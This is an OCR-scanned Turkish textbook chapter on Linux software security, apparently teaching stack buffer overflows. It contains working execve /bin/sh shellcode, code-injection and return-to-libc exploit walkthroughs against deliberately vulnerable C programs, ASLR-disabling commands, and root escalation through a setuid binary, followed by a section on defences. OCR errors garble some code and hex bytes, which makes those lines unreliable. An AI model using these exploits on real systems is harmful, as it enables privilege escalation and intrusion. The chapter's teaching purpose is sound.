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Linux Yazihm Giivenligi

Onsoz
Yazilim glivenligi genel anlamiyla oldukca genis bir konu olup temel sorunlar ve olasi dnlemler prensip olarak aynidir.

Bu kitapta Linux tabanli sistemlerde yazilim giivenligi konusunu irdeleyecegiz. Ozellikle Android kullanan sistemlerin
yayginlasmasi ile sadece sunucu ve network cihazlari pazarinda degil, akilli telefon ve tabletler gibi son kullanicinin gunliik
rutinde kullandigi ve kisisel verilerini tuttugu Urlnlerin bir anda cogalmasi, yazihm guvenligi konusunda genis bir farkindalik
yaratilmasini saglamistir.

Sorulariniz igin
Kitapla ilgili dneri ve dusuncelerinizi mdemirten@yh.com.tr adresinden bizimle paylasabilirsiniz.
Ek olarak teknik sorularinizi http://www.linux-forums.org platformunda Security tartisma bagsligi altinda iletmeniz halinde,

yanitlamaya calisacagimizi belirtmek isteriz. Katki saglayabilecek daha gok kisiye ulasmak igin site ingilizce olarak
hazirlanmaktadir.

Yardimci Kitap

Linux Sistem Programlama kitabimizin da incelenmesi, sistem ¢agrilari, glibc, paylasimli kitiphaneler, gdb vb.
konularina 6zellikle bakilmasi da konunun anlasiimasina katkida bulunacaktir.

Telif Hakki

Bu kitabin bitiin telif haklari Murat Demirten'e aittir. Kitabin tamami veya bir kismi, "kaynak gosterildigi ve degisiklik
yapiimadigi" takdirde, herhangi bir izne gerek kalmadan, her turlii ortamda ¢ogaltilabilir, dagitilabilir, kullanilabilir.
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Yigin Tasmalarn (Stack Overflow)

Bu bolimde, oldukca sik rastlanan bir durum olan, yigin tampon tasmasini (stack buffer overflow), sonuclarini ve
alinabilecek dnlemleri inceleyecegiz.

Tampon (buffer) verilerin, genellikle gegici bir stire, saklandigi ardisil bellek alanidir. Tamponlar yidin (stack) tzerinde
siklikla kullaniimaktadir.

Tampona veriler yazilirken, kontrolsiiz bir sekilde, tamponun sinirlarinin asiimasi durumunda tampon tagmasi (buffer
overflow) olusur. Tampon tagsmasi kullanilarak ¢alisan bir programin yani prosesin davranisi, disaridan mudahale edilerek,
bilingli bir sekilde degistirilebilir. Bu tir miidahalelere genel olarak tampon tasma saldirisi (buffer overflow attack)
denilmektedir.

Tampon tagsmasi ile yapilan saldirilar genel olarak iki bicimde olmaktadir. Birinci durumda prosese disaridan kod enjekte
(code injection) edilmeye c¢alisilirken, ikinci durumda yalnizca akisin degistiriimesi hedeflenmektedir. Bu iki durumu
incelemeden 6nce yiginin kullanimina bir géz atalim.

Not: incelemelerimizde 32 bit mimari hedefli sembolik makina kodu kullanacagiz. 64 bitlik bir sistem kullaniyorsaniz
derleyicinize m32 anahtar gecirerek 32 bitlik kod tUretmesini saglayabilirsiniz. 64 bitlik sistemde 32 bitlik kod
Uretebilmek ve calistirabilmek icin ekstradan paketlere ihtiyac duyulacaktir. Ubuntu 14.04.1 LTS icin libc6-i386 ve
lib32stdc++-4.8-dev paketleri sisteme kurulmustur.

Yi181n Tagmalar (Stack Overflow)
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Yigin (Stack)

Y1gin, son girenin ilk ¢iktigi (L/IFO) bir doldur bosalt veri alanidir. Yigin genel olarak asagidaki amaglarla kullaniimaktadir.

e otomatik Omirlu yerel degisken tahsisati
e yazmaglarin saklanmasi
o fonksiyonlarin geri donls degerlerinin saklanmasi

Her fonksiyon ¢agrildiginda, yigin tizerinde o fonksiyona ait bilgilerin tutuldugu yeni bir alan ayrilir. Bu alana yigin cercevesi
(stack frame) denilmektedir. Yeni olusturulan yigin gercevesinin sinirlarina ait bilgiler esp ve ebp yazmaglarinda
tutulmaktadir.

Not: esp yazmaci aktif yigin ¢ergevesinin st noktasinin adresini, ebp yazmaci ise yerel degiskenler icin ayrilan
alanin sonunu gostermektedir. esp y1§in gostericisi (stack pointer), ebp ise ¢erceve gostericisi (frame pointer) olarak
isimlendirilmektedir.

Tipik bir y1gin cercevesi asagidaki gibidir.

ESP — -

Yerel Degiskenler

EBP —

Dusuk Adres Onceki Cergeve
Gostericisi

" —  Yigin Cercevesi
Yiginin Geri Donus Adresi
Genigleme
Yonu
Argumanlar
Yiksek Adres

Basit bir 6rnek tzerinden yiginin durumunu inceleyelim.

#include <stdio.h>
void foo(int arg) {
int local = arg;

}

int main() {

Yigin 6



Linux Yazihm Giivenligi

foo(111);
return 0;

Ornek uygulamaya st1.c adini vererek asagidaki gibi derleyebilirsiniz.

gcc -ostl stl.c -m32 --save-temps

Derleyicinin main ve foo fonksiyonlari i¢in asagidaki gibi sembolik makina kodlari Urettigini gérmekteyiz.

main:
pushl  %ebp
movl %esp, %ebp
subl $4, %esp
movl $111, (%esp)
call foo
movl $0, %eax
leave
ret

foo:

pushl  %ebp

movl %esp, %ebp
subl $16, %esp
movl 8(%ebp), %eax
movl %eax, -4(%ebp)
leave

ret

Not: Sembolik makina kodlarindaki .cfi ile baglayan assembler direktifleri sadelestirme amach olarak atiimistir.

Sembolik makina kodlarina yakindan bakacak olursak, main fonksiyonunun yiginin tepe noktasina 111 degerini gegirdigini
ve ardindan foo fonksiyonunu ¢agirdigini gériiyoruz.

movl $111, (%esp)
call foo

call makina komutu foo fonksiyonunu cagirmadan énce bir sonraki komutun adresini (eip yazmacindaki degeri) yigina
gecirmektedir. Bu adres fonksiyonun geri doniis degeri olarak kullaniimaktadir. foo ¢cagrildiginda yiginin durumu asagidaki
gibidir.

Yigin
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ESP —

kullanilmayan alan

geri doniis adresi

111

Dusuk Adres

Yiginin
Genisleme
Yonu

Yilksek Adres

foo fonksiyonunun, ilk olarak bir dnceki cerceve gostericisini sakladigini, ardindan yeni ¢erceveye iliskin adresi ebp

yazmacina yazdigini goériyoruz.

pushl  %ebp
movl %esp, %ebp

Bu asamada yigina tekrar bakalim.

ESP —

Yigin

kullanilmayan alan

geri donusg adresi

111

Dusuk Adres

Yiginin
Genisleme
Yonu

Yiksek Adres
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Daha sonra yiginda yerel degiskenler icin 16 byte yer ayrildigini gérmekteyiz.

subl $16, %esp

kullaniimayan alan

ESP —

yerel degisken alani

EBP —

eski cerceve gostericisi

geri doniis adresi

11

- 16 byte

Dusuk Adres

Yiginin
Genigleme
Yonu

Yuksek Adres

Sonraki iki komutta, fonksiyona gegirilen argiiman 6nce eax yazmacina oradan da yerel local degiskeni i¢in ayrilan alana

yazilmis.

movl 8(%ebp), %eax
movl %eax, -4(%ebp)

Bu asamada yigina tekrar bakalim.

Yigin
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kullaniimayan alan

ESP —— -

yerel degisken alani - 16 byte

EBP -4 —»
yerel local degiskeni
111

EBP — -

eski gerceve gostericisi

Dusuk Adres
geri doniis adresi t
Yiginin
Genisleme
11 Yoni
Yuksek Adres

Sonraki leave makina komutu ile fonksiyonun basinda yapilan islemler geri alinmis. esp yazmaci ebp degerine ¢ekilmis,
ardindan eski cerceve degeri yigindan ¢ekilerek ebp yazmacina yazilmis. leave makina komutunun esdegeri asagidaki
gibidir.

movl %ebp, %esp
popl %ebp

Akis ret makina komutuna geldiginde yiginin gorinttst asagidaki gibidir.

ESP —
Dusuk Adres
geri doniis adresi
1
111 Yiginin
Genisleme
Yaénu
Yuksek Adres

Yigin
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ret makina komutu, esp yazmacinin gosterdigi bellek alanindaki adrese dallanmakta ve bu degeri yigindan gekmektedir.

Simdi bir de, bizi daha ¢ok ilgilendiren bir durum olan, yerel bir tampon kullanimina iliskin asagidaki 6rnegi inceleyelim.

#include <stdio.h>

void foo() {
char buf[8] = {0};

}

int main() {
foo();
return 0;

Ornek uygulamaya st2.c adini vererek asagidaki gibi derleyebilirsiniz.

gcc -ost2 st2.c -m32 -fno-stack-protector --save-temps

Not: Derleyiciye gecirdigimiz fno-stack-protector anahtari, derleyicinin yigin tasmalarini (stack overflow) tespit
edebilmek i¢in fazladan kod yazmasini engellemektedir. Bu 6zellikten daha sonra bahsedecegiz.

foo icin derleyici asagidaki gibi bir kod tGretmektedir.

foo:
pushl  %ebp
movl %esp, %ebp
subl $16, %esp
movl $0, -8(%ebp)
movl $0, -4(%ebp)
leave
ret

Sembolik makina kodlarina baktigimizda yerel deg@iskenler icin yiginda 16 byte yer ayrildigini ve bu alanin sonunda tampon
icin ayrilan 8 byte uzunlugundaki alanin 0 degeriyle ilklendirildigini gérmekteyiz.

subl $16, %esp
movl $0, -8(%ebp)
movl $0, -4(%ebp)

Yigin 11
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ESP

A

EBP —

onceki gerceve gostericisi

geri donus adresi

Dusuk Adres

Yiginin
Genisleme
Yonu

Yuksek Adres

Tampon saldirnlarindaki hedef genel olarak tampon alanini ve sonrasindaki geri doniis adresini bozarak, disaridan enjekte
edilen veya proses adres alaninda var olan bir kodu ¢alistirmaktir.

Konunun basinda tampon saldirilarinin genel olarak iki sekilde yapildigindan bahsetmistik. Simdi bu durumlari inceleyelim.

Yigin
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Kod Enjekte Etme (Code Injection)

Bu ydntemdeki amag, tampon alanina zararl bir kodu yerlestirmek, ardindan enjekte edilen bu kodun calismasini
saglamaktir. Bu yontemdeki temel zorluklari asagdidaki gibi siralayabiliriz.

e tamponun baslangi¢ adresinin bilinmesi

e tamponun boyutunun bilinmesi

e zararl kodun tampona sigacak boyutta olmasi
e yiginin calistirilabilir (executable stack) olmasi

incelememize bir 6rnek tizerinden baslayalim. Kontrolsiiz bir sekilde tampona yazan bir uygulama tizerinden kabuk
(/bin/sh) programini calistirmaya calisalim. Ornek kod asagidaki gibi olsun.

#include <stdio.h>
#include <string.h>

#define SIZE 32

void foo(char *str) {
puts(__func__);
char buf[SIZE];
strepy(buf, str);
#if 1
((void(*)( ))buf)( );
#endif

}

int main(int argc, char **argv) {
if (argc < 2) {
puts("kullanim: ./inj <komut satiri argumanlari>");
return -1;

}
foo(argv[l]);
return 0;

Ornek koda inj.c adini vererek asagidaki gibi derleyebilirsiniz.

gcc -Wall -oinj inj.c --save-temps -m32 -fno-stack-protector -z execstack
Not: Derleyiciye gecirdigimiz execstack anahtari ile yigin alanini ¢alistirilabilir olarak (executable stack) isaretliyoruz.
Bu konudan daha sonra bahsedecegiz.

ilk olarak, tampon alani igine kabuk programini calistiracak olan kod yiginini atmaliyiz. C dilinde kabuk asagidaki gibi bir
program ile galistirilabilir.

#include <unistd.h>

int main()

{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
return 0;

3

Kod Enjekte Etme
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Ornek kodu asagidaki gibi derleyerek tiretilen sembolik makina kodlarini inceleyelim.

gcc -m32 -oshell shell.c --save-temps

main:
pushl  %ebp
movl %esp, %ebp
andl $-16, %esp
subl $32, %esp
movl $.LCO, 24(%esp)
movl $0, 28(%esp)
movl 24(%esp), %eax
movl $0, 8(%esp)
leal 24(%esp), %edx
movl %edx, 4(%esp)

movl %eax, (%esp)
call execve

movl $0, %eax
leave

ret

Bu sembolik makina kodlarina karsilik gelen gercek makina kodlarini baska bir programa enjekte ederek kullanmayi
disunebilirsiniz fakat burada iki adet problemle karsilagsmaktayiz.

Birinci problem tampona yazilacak byte toplulugunda degeri O olan byte bulunmasidir. execv fonksiyonuna son argiman
olarak gecirdigimiz NULL adres asagidaki gibi bir sembolik makina kodunun Uretilmesine sebep olmaktadir.

movl $0, 8(%esp)

0 degeri ayni zamanda C dilinde bir yazinin sonlandirici karakteri (terminating character) olarak kullanildigindan strcpy gibi
bir fonksiyon bu karakteri gérdigiinde tampona yazma islemini sonlandiracaktir. Bu sebeple zararli kodun tamamini
tampona yazmak mimkin olmayacaktir.

Diger problem ise execve fonksiyonuna ait gercek adresin ylkleme zamaninda belli olmasidir.

Bu durumda kendimiz sembolik makina kodu kullanarak bir sistem c¢agrisi ile execve fonksiyonunu ¢agirabiliriz. Bunun igin
asagidaki gibi bir kod kullanilabilir.

.text

.globl malicious
malicious:

xorl %eax, %eax

pushl  %eax
pushl  $0x68732f2f
pushl  $0x6e69622f
movl %esp, %ebx
pushl  %eax
pushl  %ebx

movl %esp, %ecx
xorl %edx, %edx
movb $0x0b, %al
int $0x80

Kodda eax yazmacinin kendisiyle xor islemine tabi tutularak sifirlandigina dikkat ediniz. movi $0, %eax gibi bir makina kodu
yukarida bahsettigimiz ilk probleme neden olacaktir.

Kod kabuk programina iliskin yaziyi(/bin/sh) yigina gecirmekte, yazmaclara uygun degerleri atamakta ve sonrasinda bir
sistem cagrisi yaparak execve fonksiyonunu ¢agirmaktadir. Ornek kodu asagidaki gibi derleyerek gercek makina kodu

Kod Enjekte Etme 14
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retilmesini saglayabiliriz.

as --32 malicious.s -omalicious.o

Not: Linux altinda sistem c¢agrisi yapmak icin 80h kesmesi kullanilabilmektedir. Yukaridaki 6rnekte, execve sistem
¢agri numarasi olan OxOb degeri eax yazmacina, fonksiyona gecirilecek olan argimanlar ise sirasiyla ebx, ecx ve
edx yazmaglarina yazilmis. Ardindan i¢sel bir kesme olusturularak kernel alanindaki execve fonksiyonu cagiriimis.

Sonrasinda objdump araci ile ger¢cek makina kodlarina ulasabiliriz.

objdump -d malicious.o

Disassembly of section .text:

00000000 <malicious>:

0: 31 co Xor %eax, %eax
2 50 push %eax

88 68 2f 2f 73 68 push $0x68732f2fF
@8 68 2f 62 69 6e push $0x6€69622fF
d: 89 e3 mov %esp, %ebx
78 50 push %eax
10: 53 push %ebx
11: 89 el mov %esp, %ecx
13: 31 d2 xor %edx, %edx
15: bo 0b mov $0xb, %al
17: cd 80 int $0x80

Gercek makina kodlarini tek bir yazi sekline asagidaki gibi gdsterebiliriz.

\x31\xcO\Xx50\x68\x2F\x2f\x73\x68\x68\x2F\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

Kod enjekte edecegimiz drnege tekrar dénecek olursak, komut satirindan aldigi yaziyi kontrolstiz bir sekilde yigindaki buf
isimli tampona yazdigini gérmekteyiz.

Tampon alanindaki zararl kodu, test amagli olarak, kendimiz uygulama iginden ¢agdiracagiz. Bunun igin tampon alan
adresinin bir fonksiyon adresine donustirulerek ¢agri yapildigina dikkat ediniz.

#if 1
((void(*)( ))buf)( );
#endif

Daha 6nce derleyerek inj adini verdigimiz uygulamayi asagidaki gibi ¢alistirarak test edebiliriz.

./inj $(printf "\Xx31\xcO\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" )
Rl D

Bu asamada kabuk programinin ¢alistigini gérmeliyiz.

Ornek uygulamamiz icin yiginin temsili gérintiisii asagidaki gibi olacaktir.

Kod Enjekte Etme 15
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ESP —

Y

— tampon alani

Duasuk Adres
EBP — _
A
onceki gerceve gostericisi
Yiginin
Genisleme
geri donus adresi vonu
YUlksek Adres

Ornegimizde zararli kodu acik bir sekilde bizim cagirdigimizi hatirlayiniz. Gergekte ise bu islem, sekilde gosterildigi gibi,
fonksiyonun geri dontis degeri zararli kodu gbsterecek sekilde degistirilerek yapilmaktadir. Buradaki temel zorluk tamponun
boyutunu ve baslangic adresini kestirmektir.

Bu bolimde genel olarak fikir vermeyi amacladigimizdan konunun ayrintisina girmeyecegiz.

Kod Enjekte Etme 16
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Donus Degeri Degistirme

Bu yontemde disaridan bir kod enjekte etmeksizin, yalnizca fonksiyonun geri donus degeri degistirilerek, akisin proses
adres alanindaki istenilen bir fonksiyona ydnlendiriimesi hedeflenmektedir. Yonlendirme ¢ogunlukla standart C klttphane
fonksiyonlarina yapildigindan bu yontem return-to-libc attack olarak da isimlendirilmektedir. Bu yéntemde yiginin
calistirilabilir olup olmadiginin bir &nemi yoktur.

Bir érnek tzerinden bu durumu inceleyelim.

#include <stdio.h>
#include <string.h>

#define SIZE 8

void foo(char *str) {
puts(__func__);
char buf[SIZE];
strcpy(buf, str);

int main(int argc, char **argv) {
if (argc < 2) {
puts("kullanim: ./smash <komut satiri argumanlari>");
return -1;
}
foo(argv[1]);
return 0;

Ornek kodu smash.c adiyla saklayarak asagidaki gibi derleyebilirsiniz.

gcc -osmash smash.c --save-temps -m32 -fno-stack-protector
foo icin derleyicinin Urettigi sembolik makina kodu asagidaki gibidir.

foo:
pushl  %ebp
movl %esp, %ebp
subl $40, %esp
movl $_ func__.1993, (%esp)
call puts
movl 8(%ebp), %eax

movl %eax, 4(%esp)
leal -16(%ebp), %eax
movl %eax, (%esp)
call strcpy

leave

ret

foo icin sembolik makina kodlarina baktigimizda, yigin cerceve gostericisinden (ebp) itibaren 16 byte uzakliktaki alanin
tampon baslangi¢ adresi olarak belirlendigini gérmekteyiz. Tamponun adresi son argiman olarak yigina gegirilmis ve
ardindan strcpy fonksiyona c¢agiriimis.

leal -16(%ebp), %eax
movl %eax, (%esp)
call strcpy

Doniis Degeri Degistirme
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foo igin yi1gin gergevesi asagidaki gibi gosterilebilir.

ESP — -

~ EBP -16 —= .
yerel degisken
8 byte 4 tampon alani alani
20 byte —
8 byte 1 bosg alan
EBP — .
4 byte 1 onceki cerceve gostericisi

argiimanlar

Bu drnek kod tzerinden kabuk programini (/bin/sh) ¢alistirmaya ¢alisalim. Yeni bir program baslatabilmek icin standart
kituphanedeki execv fonksiyonunu kullanabiliriz. execv fonksiyonunun gercek adresi ¢alisma zamaninda belirlenmektedir.
gdb aracini kullanarak bu adrese asagidaki gibi ulasabiliriz.

gdb -q -batch smash -ex "break foo" -ex "run" -ex "print execv" | grep execv

execv adresini foo fonksiyonunun geri dénis adresinin tutuldugu alana yazdigimizda akis foo fonksiyonundan sonra execv
fonksiyonuna dallanacaktir.

execv fonksiyonu, calistirilacak uygulamaya ait yol ifadesi ve argiiman vektdri olmak tzere iki adet parametreye sahiptir.

int execv(const char *path, char *const argv[]);

foo fonksiyonu icin ret makina komutu isletildiginde, geri dontis adresi yigindan ¢ekilecek ve bu adresteki execv fonksiyonu
calismaya baslayacaktir. execv calismaya basladiginda, esp yazmaci geri dénis adresinin tutuldugu alanin bitimini
gostermektedir. Bir fonksiyon ¢agrildiginda yi1§in gostericisinin (esp) gosterdigi alanin geri dénis adresi olarak kullanildigini
hatirlayiniz. Devam eden 4 byte uzunlugundaki ardisil alanlar ise execv fonksiyonuna argiimanlari gecirmek igin
kullanilacaktir. Bu durumda yi1§in asagidaki gibi organize edilmelidir.

Doniis Degeri Degistirme 18
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ESP — -

i [ yerel degisken
8 byte tampon alani alani
20 byte —
8 byte bog alan
EBP — J
4 byte 1 onceki gergeve gostericisi

execv geri doniis adresi

path
execv

argumanlari

argv

Uygulamamizin komut satirindan aldigi yaziyi tampona yazdigini hatirlayiiz. Tamponun baslangi¢ adresinden itibaren 20
byte uzakliktaki alana sirasiyla execv adresini, execv geri donus adresini ve gegirilecek olan argiimanlari yerlestirmeliyiz.
Bu durumda uygulamamiza asagidaki formda bir komut satiri argiimani gecirmeliyiz.

"[20 byte uzunlugunda karakter dizisi][execv adresi][execv geri doénus adresi][path][argv]"

Tamponun ilk 20 byte'lik alanina ve execv geri doniis adresine istedigimiz gibi deger verebiliriz. execv fonksiyonunun
doénmesini beklemiyoruz.

execv fonksiyonuna galistiracagimiz uygulamanin yol ifadesinin adresini gegirmeliyiz. Bir énceki sekilde bu adres alanini
path ismiyle gésterdik. Calistirilacak olan uygulamaya ait yol ifadesini ikinci bir komut satiri argiimani olarak uygulamaya
gegirebiliriz.

Not Diger alternatifler SHELL gevre deg@iskeninin veya kendi tanimlayacagimiz bir cevre deg@iskeninin adresine
ulasmak olabilirdi.

Bu durumda kabuk uygulamasi icin uygulamaya gegcirecegimiz komut satiri argimanlari asagidaki formda olacaktir.

"[20 byte uzunlugunda karakter dizisi][execv adresi][execv geri donls adresi][path][argv]" "/bin/sh"

Bu asamada ikinci komut satiri argiimaninin (“/bin/sh") adresini bulmali ve path ile gésterdigimiz alana yazmaliyiz. Bir
uygulama calistirildiginda komut satiri argiimanlari isletim sistemi tarafindan yigina yerlestirimektedir. isletim sistemi
tarafindan, giivelik amaciyla, yigin alani farkli adreslerden baslatilabilmektedir. Bu durumda komut satiri argiimanlarinin
adreslerini 6nceden kestirmemiz miamkin olmayagindan bu 6zelligi test amacl olarak kapatacagiz. Yigin icin rastgele
adres kullanimini root olarak asagidaki gibi kapatabilirsiniz.
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echo © > /proc/sys/kernel/randomize_va_space

Ayrica uygulamanin komut satiri argimanlarinin boyutu yerlestirilecekleri adresleri bir miktar degistirebilmektedir. Bu
durumda, atak yapacagimiz uygulamayla ayni uzunlukta komut satiri arglimanlari gecirecegimiz bir test uygulamasiyla
argumanlarin adreslerini bulabiliriz. Kabuk yol ifadesini 2. komut satiri argtimani olarak gecirmekteyiz. Asagidaki program
ile 2. komut satiri argiimaninin adresini ve bu adresin tutuldugu alanin adresini bulabiliriz. Bu ikinci degeri execv
fonksiyonuna argiiman vektorl (argv) olarak gecirecegiz.

#include <stdio.h>

int main(int argc, char *argv[]) {
printf("path : %p\n", argv[2]);
printf("argv : %p\n", &argv[2]);
return 0;

Uygulamay! arggg.c adiyla saklayarak asagidaki gibi derleyebilirsiniz.

gcc -m32 -oarggg arggg.c

Bu asamada atak yapacagimiz programa gegirecegimiz argimanlara tekrar bakalim.

"12345678901234567890[execv adresi]0000[path][argv]" "//////bin/sh"

Tampona yazilacak ilk 20 karakter ve execv fonksiyonunun geri doniis adresi igin rastgele degerler kullanabiliriz. Bu
noktada ikinci argiiman olarak "/bin/sh" yerine "//////bin/sh" kullanildi§ina dikkat ediniz. Fazladan koydugumuz '/ karakterleri
sayesinde ikinci argimanin adresini tam belirleyemedigimiz bazi durumlarda da execv yine ¢alisacaktir.

Not: Ornegin execv("/bin/sh), "execv("/llbin/sh")" ve execv("///l//bin/sh") cagrilari ayni sonucu Uretecektir.

execv fonksiyonuna gecirilecek argiimanlari bulmak icin arggg uygulamasini asagidaki gibi ¢alistirabilirsiniz.

./arggg $(perl -e 'print "A"x36') $(perl -e 'print "A"x12')

Atak yapacagimiz smash uygulamasina gegirecegimiz ilk argliman 36, ikinci argiman ise 12 karakterden olusmakta. Ayrica
uygulamanin isminin atak yapacagimiz uygulama (smash) ile ayni uzunlukta olduguna dikkat ediniz. arggg uygulamasi
execv fonksiyonuna gecirecegimiz path ve argv degerlerini Uretecektir. execv adresinin gdb kullanarak elde
edilebileceginden daha 6nce bahsetmistik. Kendi sisteminiz icin bu degerleri asagidaki gibi bulabilirsiniz.

gdb -q -batch smash -ex "break foo" -ex "run" -ex "print execv" | grep execv
$1 = {<text variable, no debug info>} 0xf7ebd5b® <execv>

./arggg $(perl -e 'print "A"x36') $(perl -e 'print "A"x12')
path : Oxffffd2bo
argv : Oxffffdoac

execv adresini, path ve argv degerlerini yerine koydugumuzda smash uygulamasina gegirecegimiz argiimanlar asagidaki
gibi olacaktir.
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"'12345678901234567890\xb0\xd5\xeb\xf70000\xb0\xd2\xff\xff\xac\xdoO\xff\xff" "//////bin/sh"

Not ecexv adresinde degeri 0 olan byte varsa, daha 6nce de bahsettigimiz gibi, bellek alanina yazma islemi yapan
strepy gibi fonksiyonlar bu degeri gérdiklerinde yazma islemini sonlandiracaklardir. Bu durumda execv yerine
execvp ve system fonksiyonlari denenebilir.

smash uygulamasini asagidaki gibi calistirdigimizda kabuk programinin ¢alistigini gérmeliyiz.

./smash $(printf "12345678901234567890\xb0\xd5\xeb\xf70000\xb0\xd2\xff\xff\xac\xdo\xff\xff") "//////bin/sh"
foo

$ echo $0

//////bin/sh

echo $0 ile kabuga gegirilen ilk argimanin deg@erini elde etmekteyiz.
Bazi durumlarda kabuk programi root haklariyla da ¢alistirilabilmektedir.

passwd, ping gibi sahibi root olan ve setuid biti set edilmis uygulamalarin tampon saldirilarina agik olmalari durumunda, bu
uygulamalar tzerinden kabuk programi root haklariyla ¢alistirilabilir.

Kendi yazdi§imiz smash programinin bu ézelliklere sahip oldugunu farz ederek yeniden test edelim. Bunun icin
uygulamimizin sahibini root olarak degistirelim ve ardindan setuid bitini 1 olarak set edelim. Bu islemleri yapabilmek icin
zaten root olmamiz gerektigine dikkat ediniz.

sudo chown root smash
sudo chmod 4755 smash

Bu durumda smash programinin erisim haklari asagidaki gibi olmaldir.

1s -1 smash
-rwsr-xr-x 1 root serkan 7380 Ara 29 20:37 smash

smash uygulamasini asagidaki gibi yeniden calistiralim.

./smash $(printf "12345678901234567890\xb0\xd5\xeb\xf70000\xb0\xd2\xff\xff\xac\xdo\xff\xff") "//////bin/sh"

foo

# id

uid=1000(serkan) gid=1000(serkan) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),27(sudo),30(dip),46(plugdev;

4l S— 2

Kabuk prosesisin etkin kullanici kimliginin (effective user id) root kullanicisina ait olan 0 degerini tasidigini gérmekteyiz.

Not: Uygulamanin 6nce sahibi root olarak degistiriimeli, sonrasinda setuid biti set edilmelidir. Tersi durumda, givenlik
nedeniyle, bir dosyanin sahibi root olarak atandiginda setuid biti sifilanmaktadir. Bu durumu asagidaki gibi test
edebilirsiniz.

$ 1s -1 smash
-rwxrwxr-x 1 serkan serkan 7380 Ara 30 17:47 smash

sudo chmod 4755 smash

$ 1s -1 smash
-rwsr-xr-x 1 serkan serkan 7380 Ara 30 17:47 smash
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sudo chown root smash
$ 1s -1 smash
-rwxr-xr-x 1 root serkan 7380 Ara 30 17:47 smash
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Onleme Mekanizmalari

Tampon tagmalari kullanilarak yapilan saldirilardan korunmak icin gesitli ydntemler bulunmaktadir, biz burada ti¢
tanesinden kisaca bahsedecegiz.

Adres Alani Randomizasyonu (Address Space Layout
Randomization)

isletim sistemi gekirdegi, giivenlik amaglh olarak, proseslerin yigin alanlarini farkli adreslerden baslatmaktadir. Bu dzelligi
test amacl olarak asagidaki gibi kapattigimizi hatirlayiniz.

echo 0 > /proc/sys/kernel/randomize_va_space

Bu sayede komut satiri arglimanlarinin yerini bulabilmis ve baska bir program tzerinden kabuk uygulamasini
calistirabilmistik. Bu 6zelligin a¢ik olmasi durumunda yigindaki bir alanin adresinin bulunmasi gliclesecektir.

Yiginin Calistinlabilir Olmamasi (Non-executable Stack)

Tampona kod enjekte edilmesi durumunda yigindaki bir kodun calistiriidigini hatirlayiniz. Yiginin ¢alistirilamaz olmasi bu
saldirly dnleyecektir.

Yiginin calistirilabilir olup olmadigi ELF dosya formatinda PT_GNU_STACK isimli bir alanda tutulmaktadir. Bu alanin degeri
degistirilerek yiginin ¢alistirilabilir olma durumuna sonradan miidahale edilebilir. Bu ylizden bu koruma ydntemi kolaylikla
asllabilir.

execstack uygulamasi ile ¢alisacak olan prosese ait yigin alani ¢alistirilabilir olarak isaretlenebilir.

execstack --set-execstack <program ismi>

Derleyicinin Yigin Kontroliinii Etkinlestirmek (Stack Smashing
Protection)

Bu 6zelligin acik olmasi durumunda, derleyici tarafindan fazladan kod yazilarak yiginin bitinligu kontrol edilmektedir.
Derleyici fonksiyonun basinda tamponun altina bir deger eklemekte ve fonksiyondan cikarken bu degerin degisip
degismedigini kontrol etmektedir. Koruma degiskeni (quard variable) olarak isimlendirilen bu alandaki degerin degismesi
durumunda __stack_chk_fail isimli fonksiyon ¢agrilir. __stack_chk_fail yiginin durumu hakkinda bilgi verdikten sonra
uygulamayi sonlandirir.

Bir drnek Gizerinden bu durumu inceleyelim.

#include <stdio.h>
#include <string.h>

void foo() {

char buf[4] = {0};
strcpy(buf, "sincap");
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int main() {
foo();
return 0;

Ornek kodu guard.c ismiyle saklayip asagidaki gibi derleyebilirsiniz.

gcc -m32 -oguard guard.c -fstack-protector --save-temps

foo icin derleyicinin Urettigi sembolik makina kodlari ve yiginin temsili asagidaki gibidir.

foo:
pushl  %ebp
movl %esp, %ebp
subl $24, %esp
movl %gs:20, %eax
movl %eax, -12(%ebp)
xorl %eax, %eax
movl $0, -16(%ebp)
leal -16(%ebp), %eax
mov1l $1668180339, (%eax)
movw $28769, 4(%eax)
movb $0, 6(%eax)
movl -12(%ebp), %eax
xorl %gs:20, %eax
je L2
call __stack_chk_fail
o[L28
leave
ret
ESP —
EBP - 16 —»
buf tampon alani
koruma degiskeni
%gs:20
EBP —

Uygulamay! calistirdigimizda, yigina fazladan veri yazarak koruma degiskenini bozdugumuz igin, asagidaki gibi
sonlandigini gérmekteyiz.

./guard
*** stack smashing detected ***: ./guard terminated
Aborted (core dumped)
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